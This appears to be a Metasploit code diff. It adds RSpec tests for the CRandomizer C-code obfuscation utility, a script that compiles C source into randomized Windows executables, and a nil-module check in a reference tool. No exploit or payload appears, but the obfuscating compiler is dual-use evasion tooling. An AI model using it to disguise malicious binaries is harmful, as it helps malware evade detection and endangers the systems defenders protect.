RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Utility do
describe '#self.rand_int' do
it 'returns an integer' do
int = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
# Ruby at one point switched from Fixnum to Integer, so to support both,
# it's easier to do a regex check.
expect(int.to_s).to match(/^\d+$/)
end
it 'returns a random integer' do
int_1 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
int_2 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
expect(int_2).not_to eq(int_1)
end
end
describe '#self.rand_string' do
it 'returns a string' do
s = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
expect(s.class).to eq(String)
end
it 'returns a random string' do
s_1 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
s_2 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
expect(s_2).not_to eq(s_1)
end
end
describe '#self.parse' do
let(:c_code) {
%Q|
int main() {
const char* s = "This is a test";
return 0;
}|
}
it 'returns a Metasploit::C::Parser object' do
p = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(c_code)
expect(p.class).to eq(Metasm::C::Parser)
end
end
end

View File

@ -0,0 +1,37 @@
def help
puts "Usage:"
puts "#{__FILE__} [weight] [source code path] [output path]"
puts
puts "Example:"
puts "#{__FILE__} 80 /tmp/helloworld.c /tmp/helloworld.exe"
exit
end
help if ARGV.empty? || ARGV.include?('-h')
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
require 'msf/core'
require 'metasploit/framework/compiler/windows'
weight = ARGV.shift
source_code_path = ARGV.shift
out_path = ARGV.shift
if source_code_path.nil? || source_code_path.empty? || !File.exists?(source_code_path)
puts "Please set the source code path"
exit
elsif out_path.nil? || out_path.empty?
puts "Please set the destination path"
exit
end
source_code = File.read(source_code_path)
Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(out_path, source_code, weight: weight.to_i)
if File.exists?(out_path)
puts "File saved as #{out_path}"
end

View File

@ -212,6 +212,11 @@ tbl = Rex::Text::Table.new(
bad_refs_count = 0
$framework.modules.each { |name, mod|
if mod.nil?
elog("module_reference.rb is unable to load #{name}")
next
end
next if match and not name =~ match
x = mod.new